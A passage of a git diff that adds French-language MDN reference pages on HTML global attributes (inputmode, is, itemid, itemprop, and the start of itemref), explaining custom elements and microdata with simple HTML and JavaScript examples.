+ <dd>C'est une URL qui sera saisie. Le clavier affiché pourra être optimisé pour la saisie d'URL. Ainsi, la touche pour la barre oblique pourra être plus accessible, le clavier pourra proposer un accès à l'historique des URL utilisées, etc. Pour les champs de formulaire où il faut saisir une URL, on utilisera plutôt <code><a href="/fr/docs/Web/HTML/Element/Input/url">&lt;input type="url"&gt;</a></code>.</dd>
+</dl>
+
+<p>Lorsque cet attribut n'est pas explicitement défini, sa valeur par défaut est <code>"text"</code>, ce qui indique que c'est du texte qui sera saisi et qu'un clavier standard devrait être utilisé.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#input-modalities:-the-inputmode-attribute", "inputmode")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.inputmode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">L'ensemble des attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/is/index.html b/files/fr/web/html/attributs_universels/is/index.html
new file mode 100644
index 0000000000..e460ffc4a3
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/is/index.html
@@ -0,0 +1,67 @@
+---
+title: is
+slug: Web/HTML/Attributs_universels/is
+tags:
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/is
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'attribut <code><strong>is</strong></code> est un <a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> qui indique qu'un élément HTML standard devrait se comporter comme un élément natif personnalisé (<em>custom element</em>) défini (voir <a href="/fr/docs/Web/Web_Components/Using_custom_elements">Manipuler les <em>custom elements</em></a> pour plus de détails).</p>
+
+<p>Cet attribut peut uniquement être utilisé si l'élément personnalisé indiqué a été correctement <a href="/fr/docs/Web/API/CustomElementRegistry/define">défini</a> dans le document courant et qu'il étend le type d'élément sur lequel il est appliqué.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple est tiré de l'exemple <code><a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a></code> (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">voir le résultat en <em>live</em></a>).</p>
+
+<pre class="brush: js">// On crée une classe pour l'élément
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // On appelle super() pour récupérer l'initialisation
+    // des classes parentes
+    super();
+
+    // Le contenu du constructeur, etc.
+    ...
+
+  }
+}
+
+// On définit le nouvel élément.
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<pre class="brush: html">&lt;p is="word-count"&gt;&lt;/p&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.is")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les différents <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/itemid/index.html b/files/fr/web/html/attributs_universels/itemid/index.html
new file mode 100644
index 0000000000..c592936a5d
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/itemid/index.html
@@ -0,0 +1,116 @@
+---
+title: itemid
+slug: Web/HTML/Attributs_universels/itemid
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Micro-données
+  - Reference
+  - itemid
+translation_of: Web/HTML/Global_attributes/itemid
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <strong><code>itemid</code></strong> permet d'identifier un objet, au sens des microdonnées, de façon unique et globale. L'attribut <code>itemid</code> peut uniquement être défini sur les éléments qui ont un attribut {{htmlattrxref("itemscope")}} et un attribut {{htmlattrxref("itemtype")}}. De plus, un <code>itemid</code> ne peut pas être défini sur des éléments dont l'attribut <code>itemscope</code> possède un attribut <code>itemtype</code> qui définit un vocabulaire qui ne prend pas en charge les identifiants globaux tels que défini dans la spécification du vocabulaire.</p>
+
+<p>La signification exacte d'un identifiant global est déterminée par la spécification du vocabulaire. C'est le rôle de cette spécification d'autoriser ou non la présence de plusieurs éléments avec le même identifiant (sur une ou plusieurs pages) et de définir les règles de gestion associées.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">itemid="URN"</pre>
+
+<p class="note"><strong>Note :</strong> Selon la définition du WHATWG, un <code>itemid</code> doit être une URL. Dans l'exemple qui suit, on utilise plutôt une URN, plus appropriée pour définir un identifiant unique comme <code>itemid</code>. Cette incohérence reflète l'état actuellement incomplet de la spécification sur les microdonnées.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Un élément qui décrit un livre :</p>
+
+<pre class="brush: html">&lt;dl itemscope
+    itemtype="http://vocab.example.net/book"
+    <mark>itemid="urn:isbn:0-330-34032-8"</mark>&gt;
+ &lt;dt&gt;Title &lt;dd itemprop="title"&gt;The Reality Dysfunction
+ &lt;dt&gt;Author &lt;dd itemprop="author"&gt;Peter F. Hamilton
+ &lt;dt&gt;Publication date
+ &lt;dd&gt;&lt;time itemprop="pubdate" datetime="1996-01-26"&gt;26 January 1996&lt;/time&gt; &lt;/dl&gt;
+</pre>
+
+<h3 id="Données_structurées_correspondantes">Données structurées correspondantes</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype: itemid</td>
+   <td colspan="2" rowspan="1">
+    <div class="jyrRxf-eEDwDf jcd3Mb IZ65Hb-hUbt4d">http://vocab.example.net/book: urn:isbn:0-330-34032-8</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>title</td>
+   <td>The Reality Dysfunction</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>author</td>
+   <td>
+    <div class="jyrRxf-eEDwDf jcd3Mb">Peter F. Hamilton</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>pubdate</td>
+   <td>1996-01-26</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#items", "itemid")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.itemid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>Les autres attributs universels relatifs aux microdonnées :
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/itemprop/index.html b/files/fr/web/html/attributs_universels/itemprop/index.html
new file mode 100644
index 0000000000..956054bb32
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/itemprop/index.html
@@ -0,0 +1,436 @@
+---
+title: itemprop
+slug: Web/HTML/Attributs_universels/itemprop
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Micro-données
+  - Microdata
+translation_of: Web/HTML/Global_attributes/itemprop
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <strong><code>itemprop</code></strong> est utilisé afin d'ajouter des propriétés à un objet. C'est un attribut universel et chaque élément HTML peut donc avoir un attribut <code>itemprop</code> qui permettra de former un couple de nom (la valeur de l'attribut) et de valeur (la valeur de l'élément). Chacune de ces paires constitue une <strong>propriété</strong> et un groupe de propriété forme un <strong>objet (<em>item</em>)</strong>. Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL et peuvent être associées à de nombreux éléments comme {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}} , {{HTMLElement("track")}} et {{HTMLElement("video")}}.</p>
+
+<h3 id="Un_exemple_simple">Un exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div itemscope itemtype="http://schema.org/Movie"&gt;
+  &lt;h1 <strong>itemprop="name"</strong>&gt;Avatar&lt;/h1&gt;
+  &lt;span&gt;Director:
+    &lt;span <strong>itemprop="director"</strong>&gt;James Cameron&lt;/span&gt;
+    (born August 16, 1954)
+  &lt;/span&gt;
+  &lt;span <strong>itemprop="genre"</strong>&gt;Science fiction&lt;/span&gt;
+  &lt;a href="../movies/avatar-theatrical-trailer.html"
+    <strong>itemprop="trailer"</strong>&gt;Trailer&lt;/a&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="Structure_de_données">Structure de données</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"> </td>
+   <th colspan="2" rowspan="1"><strong>Objet</strong></th>
+  </tr>
+  <tr>
+   <th><strong>Nom pour <code>itemprop</code></strong></th>
+   <th><strong>Valeur pour <code>itemprop</code></strong></th>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td>name</td>
+   <td>Avatar</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td>director</td>
+   <td>James Cameron</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td>genre</td>
+   <td>Science fiction</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td>trailer</td>
+   <td>../movies/avatar-theatrical-trailer.html</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL. Lorsque c'est une URL, on l'exprime grâce à l'élément {{HTMLElement("a")}} et avec son attribut <code>href</code>. Pour un élément {{HTMLElement("img")}}, on lira son attribut <code>src</code>, de même pour les autres éléments HTML qui font appel à d'autres ressources.</p>
+
+<h3 id="Trois_propriétés_dont_les_valeurs_sont_des_chaînes_simples">Trois propriétés dont les valeurs sont des chaînes simples</h3>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;p&gt;My name is
+   &lt;span itemprop="name"&gt;Neil&lt;/span&gt;.
+ &lt;/p&gt;
+ &lt;p&gt;My band is called
+   &lt;span itemprop="band"&gt;Four Parts Water&lt;/span&gt;.
+ &lt;/p&gt;
+ &lt;p&gt;I am
+   &lt;span itemprop="nationality"&gt;British&lt;/span&gt;.
+ &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Une_propriété_«_image_»_dont_la_valeur_est_une_URL">Une propriété « image » dont la valeur est une URL</h3>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;img itemprop="image"
+  src="google-logo.png" alt="Google"&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Une_propriété_dont_la_valeur_est_un_identifiant_«_machine_»">Une propriété dont la valeur est un identifiant « machine »</h3>
+
+<pre class="brush: html">&lt;h1 itemscope&gt;
+ &lt;data itemprop="product-id"
+  value="9678AOU879"&gt;The Instigator 2000&lt;/data&gt;
+&lt;/h1&gt;</pre>
+
+<p>Lorsqu'une chaîne est décrite avec un format machine plutôt qu'un format « humain », on la propriété est exprimée avec la valeur de l'attribut <code>value</code> de l'élément {{HTMLElement("data")}} et c'est le contenu de l'élément qui fournira la valeur humainement compréhensible.</p>
+
+<h3 id="Un_exemple_de_mesure">Un exemple de mesure</h3>
+
+<pre class="brush: html">&lt;div itemscope itemtype="http://schema.org/Product"&gt;
+ &lt;span itemprop="name"&gt;
+   Panasonic White 60L Refrigerator
+ &lt;/span&gt;
+ &lt;img src="panasonic-fridge-60l-white.jpg" alt=""&gt;
+  &lt;div itemprop="aggregateRating"
+       itemscope
+       itemtype="http://schema.org/AggregateRating"&gt;
+   &lt;meter itemprop="ratingValue" min=0 value=3.5 max=5&gt;
+     Rated 3.5/5
+   &lt;/meter&gt;
+   (based on &lt;span itemprop="reviewCount"&gt;11&lt;/span&gt;
+   customer reviews)
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>Pour les données numériques, on peut utiliser l'élément {{HTMLElement("meter")}} et la valeur de son attribut <code>value</code>.</p>
+
+<h3 id="Une_propriété_de_date">Une propriété de date</h3>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ I was born on
+ &lt;time itemprop="birthday" datetime="2009-05-10"&gt;
+   May 10th 2009
+ &lt;/time&gt;.
+&lt;/div&gt;</pre>
+
+<p>Pour les valeurs temporelles, on utilisera les éléments {{HTMLElement("time")}} et son attribut <code>datetime</code>.</p>
+
+<h3 id="Imbrication_de_propriétés">Imbrication de propriétés</h3>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;p&gt;Name:
+   &lt;span itemprop="name"&gt;Amanda&lt;/span&gt;
+ &lt;/p&gt;
+ &lt;p&gt;Band:
+   &lt;span itemprop="band" itemscope&gt;
+     &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt;
+    (&lt;span itemprop="size"&gt;12&lt;/span&gt; players)
+   &lt;/span&gt;
+ &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>On peut avoir des imbrications de propriétés et utiliser l'attribut <code>itemscope</code> sur l'élément qui porte le groupe.</p>
+
+<p>L'élément de plus haut niveau possède deux propriétés <code>name</code> et <code>band</code>. La valeur de <code>name</code> est Amanda et la valeur de <code>ban</code><code>d</code> est un objet à part entière, composé de deux propriétés <code>name</code> et <code>size</code>. Le valeur pour <code>name</code> est Jazz Band et la valeur de <code>size</code> est 12. L'objet de plus haut niveau est un objet qui ne fait pas partie d'un autre objet.</p>
+
+<h3 id="Séparation_des_objets">Séparation des objets</h3>
+
+<pre class="brush: html">&lt;div itemscope id="amanda" itemref="a b"&gt;&lt;/div&gt;
+&lt;p id="a"&gt;Name: &lt;span itemprop="name"&gt;Amanda&lt;/span&gt;&lt;/p&gt;
+&lt;div id="b" itemprop="band" itemscope itemref="c"&gt;&lt;/div&gt;
+&lt;div id="c"&gt;
+ &lt;p&gt;Band: &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;Size: &lt;span itemprop="size"&gt;12&lt;/span&gt; players&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>On obtient le même résultat qu'avec l'exemple précédent. Le premier objet possède deux propriétés <code>name</code> (qui vaut Amanda) et <code>band</code> qui est défini avec un autre objet. Le deuxième objet possède deux propriétés <code>name</code> (qui vaut Jazz Band) et <code>size</code> (qui vaut 12).</p>
+
+<h3 id="Un_objet_avec_plusieurs_occurrences_d'une_propriété">Un objet avec plusieurs occurrences d'une propriété</h3>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;p&gt;Flavors in my favorite ice cream:&lt;/p&gt;
+ &lt;ul&gt;
+  &lt;li itemprop="flavor"&gt;Lemon sorbet&lt;/li&gt;
+  &lt;li itemprop="flavor"&gt;Apricot sorbet&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<p>Cet objet possède deux fois la même propriété <code>flavor</code>, qui prend deux valeurs Lemon sorbet et Apricot sorbet.</p>
+
+<h3 id="Deux_propriétés_avec_la_même_valeur">Deux propriétés avec la même valeur</h3>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;span itemprop="favorite-color favorite-fruit"&gt;
+  orange
+ &lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<p>On peut définir deux propriétés au même endroit si elles prennent la même valeur.</p>
+
+<h3 id="Équivalence_sémantique">Équivalence sémantique</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+ &lt;img src="castle.jpeg"&gt;
+ &lt;figcaption&gt;
+  &lt;span itemscope&gt;
+    &lt;span itemprop="name"&gt;The Castle&lt;/span&gt;
+  &lt;/span&gt;
+  (1986)
+ &lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<pre class="brush: html">&lt;span itemscope&gt;
+  &lt;meta itemprop="name" content="The Castle"&gt;
+&lt;/span&gt;
+&lt;figure&gt;
+ &lt;img src="castle.jpeg"&gt;
+ &lt;figcaption&gt;The Castle (1986)&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>Ces deux exemples sont équivalents d'un point de vue sémantique. Tous les deux se composent d'un schéma et d'une légende et tous les deux possèdent un objet avec une propriété <code>name</code> qui vaut The Castle. Une différence subsiste : si l'utilisateur glisse-dépose l'élément, l'objet sera inclus dans les données. Dans les deux cas, l'image n'est pas associée à l'objet.</p>
+
+<h2 id="Les_noms_et_les_valeurs">Les noms et les valeurs</h2>
+
+<p>Une propriété est un ensemble non-ordonné de composants uniques sensibles à la casse qui représentent les paires de noms/valeurs. Les valeur doit avoir au moins composant pour se rattacher à l'objet. Dans le tableau ci-après, chaque cellule correspond à un composant.</p>
+
+<h3 id="Exemples_de_noms">Exemples de noms</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th colspan="1" rowspan="2" scope="col"> </th>
+   <th colspan="2" rowspan="1" scope="col">Objet</th>
+  </tr>
+  <tr>
+   <th scope="col">nom pour <code>itemprop</code></th>
+   <th scope="col">valeur pour <code>itemprop</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><code>itemprop</code></th>
+   <td>country</td>
+   <td>Ireland</td>
+  </tr>
+  <tr>
+   <th><code>itemprop</code></th>
+   <td>Option</td>
+   <td>2</td>
+  </tr>
+  <tr>
+   <th><code>itemprop</code></th>
+   <td>https://www.flickr.com/photos/nlireland/6992065114/</td>
+   <td>Ring of Kerry</td>
+  </tr>
+  <tr>
+   <th><code>itemprop</code></th>
+   <td>img</td>
+   <td>https://www.flickr.com/photos/nlireland/6992065114/</td>
+  </tr>
+  <tr>
+   <th><code>itemprop</code></th>
+   <td>website</td>
+   <td>flickr</td>
+  </tr>
+  <tr>
+   <th><code>itemprop</code></th>
+   <td>(token)</td>
+   <td>(token)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Les composants</strong> sont des chaînes de caractères ou des URL. Un objet est appelé un objet typé si c'est une URL. Les chaînes ne peuvent pas contenir de point ou de deux points.</p>
+
+<ol>
+ <li>Si un objet est un objet typé, il doit être :
+  <ol>
+   <li>Un nom de propriété autorisé par la spécification qui définit les types pertinents pour un objet ou</li>
+   <li>Une URL valide qui est une URL absolue qui définit un nom faisant partie de la spécification du vocabulaire ou</li>
+   <li>Une URL valide qui est une URL absolue utilisée comme un nom propriétaire ou</li>
+  </ol>
+ </li>
+ <li>Si un objet n'est pas un objet typé, le nom doit être :
+  <ol>
+   <li>Une chaîne qui ne contient pas de caractères "<strong>.</strong>" (U+002E FULL STOP) ou "<strong>:</strong>" (U+003A COLON) et qui est utilisée comme un nom « propriétaire » pour la propriété (c'est-à-dire avec un nom qui n'est pas défini dans une spécification publique).</li>
+  </ol>
+ </li>
+</ol>
+
+<p class="note"><strong>Note :</strong>  Les caractères « : » sont interdits pour les valeurs qui ne sont pas des URL afin de pouvoir distinguer les URL du reste. Les valeurs avec les caractères « . » sont réservés pour de futurs ajouts et les blancs ne sont pas autorisés car les valeurs seraient analysées comme plusieurs valeurs distinctes.</p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<p>La valeur d'une propriété est définie comme le premier cas qui correspond dans cette liste :</p>
+
+<ul>
+ <li>Si l'élément possède un attribut <strong><code>itemscope</code> :</strong>
+
+  <ul>
+   <li>La valeur est <strong>l'objet</strong> créé par l'élément.</li>
+  </ul>
+ </li>
+ <li>Si l'élément est un élément <strong><code>meta</code> :</strong>
+  <ul>
+   <li>La valeur est celle de l'attribut <strong><code>content</code></strong> s'il existe, la chaîne vide sinon.</li>
+  </ul>
+ </li>
+ <li>Si l'élément est <code><strong>audio</strong></code>, <code><strong>embed</strong></code>, <code><strong>iframe</strong></code>, <code><strong>img</strong></code>, <code><strong>source</strong></code>, <code><strong>track</strong></code> ou <strong><code>video</code> :</strong>
+  <ul>
+   <li>La valeur est l'URL correspondant à l'analyse de l'attribut <code>src</code> relatif au nœeud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.</li>
+  </ul>
+ </li>
+ <li>Si l'élément est un élément <code><strong>a</strong></code>, <code><strong>area</strong></code> ou <strong><code>link</code> :</strong>
+  <ul>
+   <li>La valeur est l'URL qui correspond à l'analyse de la valeur de l'attribut <code>href</code> relatif au nœud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.</li>
+  </ul>
+ </li>
+ <li>Si l'élément est un élément <strong><code>object</code> :</strong>
+  <ul>
+   <li>La valeur est l'URL qui correspond à l'analyse de la valeur de l'attribut <code>data</code> relatif au nœud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.</li>
+  </ul>
+ </li>
+ <li>Si l'élément est un élément <strong><code>data</code> :</strong>
+  <ul>
+   <li>La valeur est la valeur l'attribut <code>value</code> s'il est présent ou la chaîne vide sinon.</li>
+  </ul>
+ </li>
+ <li>Si l'élément est un élément <strong><code>meter</code> :</strong>
+  <ul>
+   <li>La valeur est la valeur l'attribut <code>value</code> s'il est présent ou la chaîne vide sinon.
+    <ul>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>Si l'élément est un élément <strong><code>time</code> :</strong>
+  <ul>
+   <li>La valeur de l'élément est la valeur de l'attribut <strong><code>datetime</code></strong>.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Sinon :</p>
+
+<ul>
+ <li>La valeur de l'élément est le contenu textuel de l'élément HTML (<code>textContent</code>).</li>
+</ul>
+
+<p>Les éléments qui permettent d'utiliser des attributs URL pour des URL absolues sont : <code><strong>a</strong></code>, <code><strong>area</strong></code>, <code><strong>audio</strong></code>, <code><strong>embed</strong></code>, <code><strong>iframe</strong></code>, <code><strong>img</strong></code>, <code><strong>link</strong></code>, <code><strong>object</strong></code>, <code><strong>source</strong></code>, <code><strong>track</strong></code> et <strong><code>video</code></strong>.</p>
+
+<h3 id="Ordre_des_noms">Ordre des noms</h3>
+
+<p>L'ordre des noms n'a pas d'importance mais si une propriété possède plusieurs valeurs, l'ordre sera relatif pour cette propriété.</p>
+
+<h4 id="Exemples_équivalents">Exemples équivalents</h4>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: html">&lt;div itemscope&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: html">&lt;div id="x"&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+&lt;/div&gt;
+&lt;div itemscope itemref="x"&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">itemprop = "name", value</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<p>Un exemple sur un livre qu'on décrit avec les différents attributs.</p>
+
+<pre class="brush: html">&lt;dl itemscope
+    itemtype="http://vocab.example.net/book"
+    itemid="urn:isbn:0-330-34032-8"&gt;
+ &lt;dt&gt;Title &lt;dd itemprop="title"&gt;The Reality Dysfunction
+ &lt;dt&gt;Author &lt;dd itemprop="author"&gt;Peter F. Hamilton
+ &lt;dt&gt;Publication date
+ &lt;dd&gt;
+  &lt;time itemprop="pubdate" datetime="1996-01-26"&gt;
+    26 January 1996
+  &lt;/time&gt;
+&lt;/dl&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#dfn-attr-itemprop", "itemprop")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#names:-the-itemprop-attribute", "itemprop")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.itemprop")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>Les autres attributs universels relatifs aux microdonnées :
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/itemref/index.html b/files/fr/web/html/attributs_universels/itemref/index.html
new file mode 100644
index 0000000000..894df9c87c
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/itemref/index.html
@@ -0,0 +1,97 @@
+---
+title: itemref
+slug: Web/HTML/Attributs_universels/itemref
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Micro-données
+  - Microdata
+  - Reference
+translation_of: Web/HTML/Global_attributes/itemref
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>itemref</strong></code> permet d'associer des propriétés à un objet via <code>itemscope</code> lorsque l'élement courant n'est pas un élément descendant. <code>itemref</code> fournit une liste d'identifiants d'éléments (à ne pas confondre avec <code>itemid</code>) dont des propriétés sont définies plus loin dans le document.</p>
+
+<p>L'attribut <code>itemref</code> peut uniquement être défini sur des éléments pour lesquels un attribut <code>itemscope</code> a été défini.</p>
+
+<p class="note"><strong>Note :</strong> L'attribut <code>itemref</code> ne fait pas partie du modèle de données des micro-données. Il s'agit purement d'une construction syntaxique pour aider les auteurs à annoter une page où les données ne suivent pas une structure arborescente claire.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">itemref</pre>
+
